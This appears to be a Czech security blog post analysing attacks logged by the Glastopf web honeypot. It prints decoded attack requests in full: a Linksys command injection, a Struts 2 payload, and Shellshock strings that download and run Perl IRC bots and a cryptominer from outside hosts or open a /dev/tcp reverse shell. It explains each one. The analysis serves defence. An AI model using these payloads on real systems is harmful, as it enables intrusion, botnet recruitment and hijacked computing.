Honeynet provozovaný sdružením CZ.NIC jistě není třeba čtenářům tohoto blogu nijak zvlášť představovat. Kromě článků na tomto blogu jsou také dostupné zdrojové kódy provozovaných honeypotů, které si můžete prohlédnout na našem GitLabu. V dnešním článku se zaměříme na útoky zachycené na webovém honeypotu Glastopf.
V Glastopfu je možné využít více typů logování. My používáme tyto dva:
- textový log, do něhož se ukládají údaje o IP adrese útočníka, metodě a URL požadavku
- databázový log, kam se ukládá celý požadavek od útočníka (obsahuje i hlavičku), tedy například údaje o kódování, jazyku, user-agentovi a podobně; v tomto případě je velkou výhodou, že vidíme i tělo požadavku.
Toto tělo požadavku je velice často částečně nebo úplně zakódované URL kódováním (obsahuje znak % a dva hexadecimální znaky).
Podívali jsme tedy do databáze a objevili jsme několik základních typů útoků.
1. typ útoku
Po URL dekódování jsme získali následující:
(v textu přidáváme nové řádky pro snadnější čtení)
POST /tmUnblock.cgi HTTP/1.1
Content-Length: 1036
submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&
ttcp_ip=-h `
cd /tmp;
echo "#!/bin/sh" > .d7aac923.sh;
echo "wget -O .d7aac923 http://70.115.201.195:3200" >> .d7aac923.sh;
echo "chmod +x .d7aac923" >> .d7aac923.sh;
echo "./.d7aac923" >> .d7aac923.sh;
echo "rm .d7aac923" >> .d7aac923.sh;
chmod +x .d7aac923.sh;
./.d7aac923.sh`
&StartEPI=1
/tmUnblock.cgi je CGI spustitelný soubor v některých Cisco Linksys routrech. Je zranitelný na „remote command execution“ (RCE) / „blind command injection“, v tomto případě nazvanou „The Moon“.
Útočník si naskriptuje stáhnutí souboru z URL http://70.115.201.195:3200, přidá práva ke spuštění, poté spuštění samotné a smazání. Na konci z něj zůstane pouze skript a běžící malware v paměti.
V době kratší než 24 hodin po zachycení útoku se soubor na zmiňované URL nenachází.
2. typ útoku
Po URL dekódování jsme získali následující:
POST /index.action HTTP/1.1
Expect: 100-continue
User-Agent: Mozilla/5.0
redirect:${
#res=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#res.setCharacterEncoding("UTF-8"),
#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
#res.getWriter().print("dir:"),
#res.getWriter().println(#req.getSession().getServletContext().getRealPath("/")),
#res.getWriter().flush(),
#res.getWriter().close()}
Jedná se o zranitelnost frameworku pro vytváření Java web aplikací Apache Struts 2, konkrétně opět o RCE parametry, před kterými jsou řetězce „action:“, „redirect:“, nebo“redirectAction:“.
Útočník chce tímto postupem docílit vypsání adresáře, v němž je spuštěna webová aplikace.
3. typ útoku
Od 25.9. jsme zaznamenali 586 požadavků, které obsahovaly útok typu Shellshock. Následující typy útoků se snaží zneužít tuto konkrétní zranitelnost, každý typ však trochu jiným způsobem.
GET /cgi-bin/bts.cgi HTTP/1.0
User-Agent: () { :;}; /bin/bash -c "
cd /tmp;
wget http://100.42.30.34/sac ;
curl -O http://100.42.30.34/sac ;
perl sac ;
rm -rf sac"
GET /cgi-bin/btw.cgi HTTP/1.0
User-Agent: () { :;}; /bin/bash -c "
cd /var/tmp ;
rm -rf sa* ;
wget http://100.42.30.34/lex1 ;
lwp-download http://100.42.30.34/lex1 ;
curl -O /var/tmp/lex1 http://100.42.30.34/lex1 ;
perl /var/tmp/lex1 ;
rm -rf /var/tmp/lex*;
rm -rf lex1"
První požadavek je z 13. 11., druhý požadavek nebo jemu podobné jsme zaznamenali 14., 15., a 21. 11. Popíšu zde pouze druhý požadavek, neboť ten je mírně složitější, ale myšlenku mají oba stejnou.
Útočník nejdříve smaže všechny soubory začínající řetězcem ‚sa‘ ve /var/tmp.
Dále se útočník pokouší stáhnout třemi různými způsoby (wget, lwp-download a curl) perlový soubor. Ten poté spustí a smaže. Jde o LinuxNet perlbot, který se připojuje k irc, obsahuje subrutiny pro tcp a udp flood či port skener.
Perlbotů se po Internetu pohybuje několik druhů. Pokud byste se chtěli začíst více do hloubky, tak bychom Vám doporučili hezkou analýzu podobného perlbotu, který se šířil přes zranitelnost v PHP.
4. typ útoku
GET /cgi-sys/defaultwebpage.cgi HTTP/1.0
Connection: close
Cookie: () { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1
User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1
Rozebereme si tento řádek
/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1
:
/bin/bash -i
spustí interaktivní shell a>&
přesměruje standardní výstup a standardní chybový výstup …/dev/tcp/207.240.10.1/8888
… do socketu otevřeného na TCP spojení na adresu 207.240.10.1 a port 88880>&1
přesměruje standardní vstup do standardního výstupu.
Tento shell tedy přijímá vstup (příkazy) ze socketu /dev/tcp/207.240.10.1/8888 a rovněž je do tohoto socketu přesměrován standardní výstup a standardní chybový výstup. Díky tomu útočník vidí výstupy z příkazů, které spustil na napadeném stroji.
5. typ útoku
Od 27. do 30.10. jsme jen ze 2 IP adres, ale na různé URL převážně s CGI, zaznamenali 504 takovýchto požadavků.
GET / HTTP/1.0
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl
Pragma: no-cache
Referer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl
Test: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl
User-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl
URL již není aktuální, ale na archive.org se dá stále najít jeho obsah. Ten vypadá zkráceně takto:
#!/usr/bin/perl
use MIME::Base64;
eval (decode_base64('velmi dlouhý base64 zakódovaný string'));
Když zaměníme eval za print a spustíme skript, zjistíme, že se jedná o DDoS Perl IrcBot v1.0 z roku 2012. Tento skript se dokáže připojit například k IRC, floodovat, skenovat porty a posílat e-maily.
6. typ útoku
GET / HTTP/1.0
User-Agent: () { :;}; /bin/bash -c "
wget http://stablehost.us/bots/regular.bot -O /tmp/sh;
curl -o /tmp/sh http://stablehost.us/bots/regular.bot;
sh /tmp/sh;
rm -rf /tmp/sh"
Poslední příklad Shellshock útoku se objevil téměř před měsícem a jeho URL je stále funkční. Obsahuje shellový skript, který útočník následně spustí a smaže.
Skript instaluje Primecoin miner. Je dokonce vidět uživatelské jméno a heslo.
Miner se snaží schovat tak, že se zkopíruje do /usr/local/bin/spamd, tento soubor se poté spustí.
Tento výčet rozhodně není kompletní, a v čase se mění, dle aktuálních zranitelností v používaném software. I proto se k tomuto tématu za nějakou dobu jistě vrátíme.